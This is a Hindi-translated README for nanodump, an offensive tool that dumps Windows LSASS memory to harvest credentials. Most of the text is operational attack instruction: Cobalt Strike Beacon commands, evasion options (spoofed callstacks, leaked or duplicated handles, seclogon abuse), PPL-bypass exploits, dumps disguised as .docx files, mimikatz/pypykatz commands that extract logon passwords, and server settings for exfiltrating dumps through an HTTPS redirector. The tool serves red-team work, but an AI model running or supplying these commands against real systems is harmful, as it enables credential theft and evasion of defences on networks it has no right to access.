
LSASS डंपिंग का स्विस आर्मी नाइफ
एक लचीला उपकरण जो LSASS प्रक्रिया का मिनीडंप बनाता है।

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
filename of the dump
--valid, -v
create a dump with a valid signature
Obtain an LSASS handle via:
--duplicate, -d
duplicate a high privileged existing LSASS handle
--duplicate-elevate, -de
duplicate a low privileged existing LSASS handle and then elevate it
--seclogon-leak-local, -sll
leak an LSASS handle into nanodump via seclogon
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
leak an LSASS handle into another process via seclogon and duplicate it
--seclogon-duplicate, -sd
make seclogon open a handle to LSASS and duplicate it
--spoof-callstack, -sc
open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
force WerFault.exe to dump LSASS via SilentProcessExit
--shtinkering, -sk
force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
--fork, -f
fork the target process before dumping
--snapshot, -s
snapshot the target process before dumping
Avoid opening a handle with high privileges:
--elevate-handle, -eh
open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
--getpid
print the PID of LSASS and leave
--chunk-size
chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
--help, -h
print this help message and leave
git clone https://github.com/fortra/nanodump.git
Linux पर MinGW के साथ
make -f Makefile.mingw
Windows पर MSVC के साथ (कोई BOF समर्थन नहीं)
nmake -f Makefile.msvc
Cobalt Strike पर NanoDump.cna स्क्रिप्ट आयात करें।
Beacon कंसोल में nanodump कमांड या nanodump.x64.exe बाइनरी चलाएँ।
यदि आपने --valid फ़्लैग निर्दिष्ट नहीं किया है, तो आपको अमान्य हस्ताक्षर पुनर्स्थापित करने की आवश्यकता है।
scripts/restore_signature <dumpfile>
mimikatz:
रहस्य प्राप्त करने के लिए बस चलाएँ:
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz:
यदि आप linux पर रहना पसंद करते हैं, तो आप mimikatz के python3 पोर्ट का उपयोग कर सकते हैं जिसे pypykatz कहा जाता है:
python3 -m pypykatz lsa minidump <dumpfie>
PROCESS_VM_READ के साथ LSASS के लिए हैंडल खोलने से बचने के लिए, आप --fork पैरामीटर का उपयोग कर सकते हैं।
यह nanodump को PROCESS_CREATE_PROCESS एक्सेस के साथ LSASS के लिए हैंडल बनाने और फिर प्रक्रिया का 'क्लोन' बनाने पर मजबूर करेगा। इस नई प्रक्रिया को फिर डंप किया जाएगा। जबकि इसके परिणामस्वरूप एक प्रक्रिया निर्माण और विलोपन होगा, यह LSASS को सीधे पढ़ने की आवश्यकता को समाप्त करता है।
--fork विकल्प के समान, आप LSASS प्रक्रिया का स्नैपशॉट बनाने के लिए --snapshot का उपयोग कर सकते हैं।
यह nanodump को PROCESS_CREATE_PROCESS एक्सेस के साथ LSASS के लिए हैंडल बनाने और फिर PssNtCaptureSnapshot का उपयोग करके प्रक्रिया का स्नैपशॉट बनाने पर मजबूर करेगा। इस नई प्रक्रिया को फिर डंप किया जाएगा। पूरा होने पर स्नैपशॉट स्वचालित रूप से मुक्त हो जाएगा।
चूँकि LSASS के लिए हैंडल खोलना पता लगाया जा सकता है, nanodump इसके बजाय LSASS के मौजूदा हैंडल की खोज कर सकता है।
यदि कोई मिल जाता है, तो यह उसे कॉपी करेगा और मिनीडंप बनाने के लिए उसका उपयोग करेगा।
ध्यान दें कि ऐसा हैंडल मिलने की गारंटी नहीं है।
आप PROCESS_QUERY_LIMITED_INFORMATION के साथ LSASS के लिए हैंडल प्राप्त कर सकते हैं, जिसे संभवतः श्वेतसूची में रखा गया है, और फिर उस हैंडल को डुप्लिकेट करके ऊँचा कर सकते हैं।
LSASS के लिए हैंडल खोलने से बचने के लिए, आप CreateProcessWithLogonW को कॉल करके seclogon सेवा का दुरुपयोग कर सकते हैं ताकि LSASS हैंडल को nanodump बाइनरी में लीक किया जा सके।
इस सुविधा को सक्षम करने के लिए, --seclogon-leak-local पैरामीटर का उपयोग करें।
ध्यान रखें कि जब Cobalt Strike से उपयोग किया जाता है, तो इस सुविधा का उपयोग करने के लिए डिस्क पर एक अहस्ताक्षरित nanodump बाइनरी लिखी जानी चाहिए।
यह तकनीक पिछली के समान है, लेकिन हैंडल को nanodump में लीक करने के बजाय, इसे दूसरी बाइनरी में लीक किया जाता है और फिर डुप्लिकेट किया जाता है ताकि nanodump इसका उपयोग कर सके।
इस कार्यक्षमता तक पहुँचने के लिए --seclogon-leak-remote फ़्लैग का उपयोग करें।
आप फ़ाइल लॉक का उपयोग करके दौड़ की स्थिति जीतकर, seclogon प्रक्रिया को LSASS के लिए हैंडल खोलने और बंद होने से पहले इसे डुप्लिकेट करने के लिए धोखा दे सकते हैं।
इस कार्यक्षमता तक पहुँचने के लिए --seclogon-duplicate फ़्लैग का उपयोग करें।
आप हैंडल खोलने से बचने के लिए nanodump को LSASS में SSP के रूप में लोड कर सकते हैं।
जब DLL LSASS में लोड हो जाता है, तो पैरामीटर एक नामित पाइप के माध्यम से पारित किए जाएंगे और एक बार डंप पूरा हो जाने पर, DllMain FALSE लौटाएगा ताकि LSASS nanodump DLL को अनलोड कर दे।
आप कंपाइलर फ़्लैग PASS_PARAMS_VIA_NAMED_PIPES=0 के साथ पैरामीटर को DLL में हार्डकोड कर सकते हैं और नामित पाइप का उपयोग पूरी तरह से टाल सकते हैं।
डिफ़ॉल्ट रूप से, एक अहस्ताक्षरित nanodump DLL Temp फ़ोल्डर में अपलोड किया जाएगा जो स्वचालित रूप से हटा दिया जाएगा।
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
यदि आप पहले से मौजूद DLL लोड करना चाहते हैं, तो आप चला सकते हैं:
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
ध्यान दें कि यह भेद्यता जुलाई 2022 अद्यतन पैक (Windows 10 21H2 Build 19044.1826) में ठीक कर दी गई है।
इस सुविधा तक पहुँचने के लिए, nanodump_ppl_dump कमांड का उपयोग करें
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp
इस सुविधा तक पहुँचने के लिए, nanodump_ppl_medic कमांड का उपयोग करें
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp
क्योंकि डंप nanodump द्वारा नहीं बनाया गया है, इसमें हमेशा एक मान्य हस्ताक्षर होगा।
साइलेंट प्रोसेस एग्ज़िट तकनीक का लाभ उठाने के लिए, --silent-process-exit पैरामीटर और उस पथ का उपयोग करें जहाँ डंप बनाया जाना चाहिए।
beacon> nanodump --silent-process-exit C:\Windows\Temp\
नैनोडंप प्रक्रिया का एक डंप भी बनाया जाएगा, जो इस प्रकार होगा:
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'
Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/23/2022 7:40 AM 58830409 lsass.exe-(PID-648).dmp
-a---- 6/23/2022 7:40 AM 7862825 nanodump.x64.exe-(PID-3224).dmp
आप Shtinkering तकनीक का भी उपयोग कर सकते हैं, जिसके लिए nanodump को SYSTEM के तहत चलाना आवश्यक है:
beacon> nanodump --shtinkering
डंप आमतौर पर C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps के अंतर्गत बनाया जाएगा।
आप LSASS के लिए एक नकली कॉलस्टैक के साथ हैंडल खोल सकते हैं ताकि फ़ंक्शन कॉल थोड़ा अधिक वैध दिखे (विशेषकर यदि BOF के रूप में चलाया जाए)।
इस सुविधा तक पहुँचने के लिए, पैरामीटर --spoof-callstack का उपयोग करें।
आप nanodump के संचालन को अनुकूलित करने के लिए कई तकनीकों को जोड़ सकते हैं।
निम्न तालिका इंगित करती है कि किन फ़्लैग का एक साथ उपयोग किया जा सकता है।
फोर्क बनाकर LSASS को अप्रत्यक्ष रूप से पढ़ें और अमान्य हस्ताक्षर के साथ डंप को डिस्क पर लिखें:
beacon> nanodump --fork --write C:\lsass.dmp
नोटपैड प्रक्रिया में LSASS हैंडल लीक करने के लिए seclogon लीक रिमोट का उपयोग करें, LSASS तक पहुँच प्राप्त करने के लिए उस हैंडल को डुप्लिकेट करें, फिर फोर्क बनाकर अप्रत्यक्ष रूप से इसे पढ़ें और मान्य हस्ताक्षर के साथ डंप डाउनलोड करें:
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid
Seclogon लीक स्थानीय के साथ हैंडल प्राप्त करें, फोर्क का उपयोग करके LSASS को अप्रत्यक्ष रूप से पढ़ें और मान्य हस्ताक्षर के साथ डंप को डिस्क पर लिखें (एक nanodump बाइनरी अपलोड की जाएगी!):
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp
अमान्य हस्ताक्षर के साथ डंप डाउनलोड करें (डिफ़ॉल्ट):
beacon> nanodump
मौजूदा हैंडल को डुप्लिकेट करें और अमान्य हस्ताक्षर के साथ डंप को डिस्क पर लिखें:
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx
LSASS का PID प्राप्त करें:
beacon> nanodump --getpid
नैनोडंप को SSP के रूप में LSASS में लोड करें (एक nanodump बाइनरी अपलोड की जाएगी!):
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp
PPLDump शोषण का उपयोग करके PPL को बायपास करते हुए LSASS डंप करें, csrss.exe के पास LSASS पर मौजूद हैंडल को डुप्लिकेट करें:
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp
PPLMedic शोषण का उपयोग करके PPL को बायपास करते हुए LSASS डंप करें, LSASS के लिए कम विशेषाधिकार वाला हैंडल खोलें और फिर इसे ऊँचा करें:
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp
Seclogon को LSASS के लिए हैंडल खोलने और इसे डुप्लिकेट करने के लिए धोखा दें, फिर अमान्य हस्ताक्षर के साथ डंप डाउनलोड करें:
beacon> nanodump --seclogon-duplicate
WerFault.exe प्रक्रिया को Temp फ़ोल्डर में पूर्ण मेमोरी डंप बनाने के लिए मजबूर करें:
beacon> nanodump --werfault C:\Windows\Temp\
स्पूफ़ किए गए कॉलस्टैक के साथ LSASS के लिए हैंडल खोलें और अमान्य हस्ताक्षर के साथ मिनीडंप डाउनलोड करें:
beacon> nanodump --spoof-callstack
Shtinkering तकनीक का उपयोग करें:
beacon> nanodump --shtinkering
Seclogon लीक स्थानीय का उपयोग करके हैंडल प्राप्त करें और Shtinkering तकनीक का उपयोग करके डंप बनाएँ:
beacon> nanodump --seclogon-leak-local --shtinkering
कम विशेषाधिकार वाला हैंडल प्राप्त करें और elevate handle का उपयोग करके इसे ऊँचा करें:
beacon> nanodump --elevate-handle
स्पूफ़ किए गए कॉलस्टैक का उपयोग करके कम विशेषाधिकार वाला हैंडल प्राप्त करें और elevate handle का उपयोग करके इसे ऊँचा करें:
beacon> nanodump --elevate-handle --spoof-callstack
मौजूदा कम विशेषाधिकार वाले हैंडल को डुप्लिकेट करें और elevate handle का उपयोग करके इसे ऊँचा करें:
beacon> nanodump --duplicate-elevate
यदि आप HTTPS रीडायरेक्टर का उपयोग कर रहे हैं (जैसा कि आपको करना चाहिए), तो डंप को फ़ाइललेस डाउनलोड करते समय आपको अनुरोधों के आकार के कारण समस्याओं का सामना करना पड़ सकता है जो डंप को लीक करते हैं।
नैनोडंप को डंप डाउनलोड करने की अनुमति देने के लिए अपने वेब सर्वर पर अनुरोधों का अधिकतम आकार बढ़ाएँ।
location ~ ^...$ {
...
client_max_body_size 50M;
}
<Directory "...">
LimitRequestBody 52428800
</Directory>
| --write | --valid | --duplicate | --elevate-handle | --duplicate-elevate | --seclogon-leak-local | --seclogon-leak-remote | --seclogon-duplicate | --spoof-callstack | --silent-process-exit | --shtinkering | --fork | --snapshot | SSP | PPL_DUMP | PPL_MEDIC |
|---|
| --write | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --valid | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --elevate-handle | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --duplicate-elevate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-local | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-remote | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --spoof-callstack | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --silent-process-exit | ✓ | |||||||||||||||
| --shtinkering | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --fork | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| --snapshot | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| SSP | ✓ | |||||||||||||||
| PPL_DUMP | ✓ | ✓ | ✓ | ✓ | ||||||||||||
| PPL_MEDIC | ✓ | ✓ | ✓ | ✓ |